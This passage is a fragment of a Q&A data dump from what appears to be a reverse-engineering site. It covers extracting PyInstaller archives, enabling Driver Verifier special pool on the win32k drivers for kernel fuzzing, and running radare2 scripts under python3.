    With this command you can examine the contents of any archive built\n with PyInstaller (a PYZ or PKG), or any executable (.exe file or an\n ELF or COFF binary)

    \n
    \n\n

    This is what you can try for now. For Windows, there's the equivalent tool pyinstxtractor (I'm the author) but unfortunately there's no support for ELF's at the moment.

    \n" }, { "Id": "19904", "CreationDate": "2018-11-17T07:19:27.133", "Body": "

    So there is win32k.sys, win32kbase.sys, win32kfull.sys in Windows 10

    \n\n

    Does verifier /driver win32k.sys /flags 0x1 enable special pool on all three drivers? (win32k.sys is kinda like stub to other drivers)

    \n\n

    Because I have a crash that occurs only when enabling special pool specifically on win32kfull.sys by verifier /driver win32kfull.sys /flags 0x1. It doesn't crash when enabling special pool on win32k.sys or win32kbase.sys. Is this case weird?

    \n\n

    Also, what would be the general setup regarding turning on the special pool when fuzzing win32k*.sys?

    \n", "Title": "Questions about enabling special pool on win32k", "Tags": "|windows|kernel|fuzzing|", "Answer": "

    Just enable special pool on all 3 drivers:

    \n\n
    verifier.exe /flags 0x1 /driver win32k.sys /driver win32kbase.sys /driver win32kfull.sys\n
    \n" }, { "Id": "19907", "CreationDate": "2018-11-17T23:08:29.963", "Body": "

    I have a r2 script that I'm running with r2 -i script.py test.x. By default this command uses python2. How can I get it to use python3? I couldn't find anything in the config.

    \n", "Title": "Make r2 -i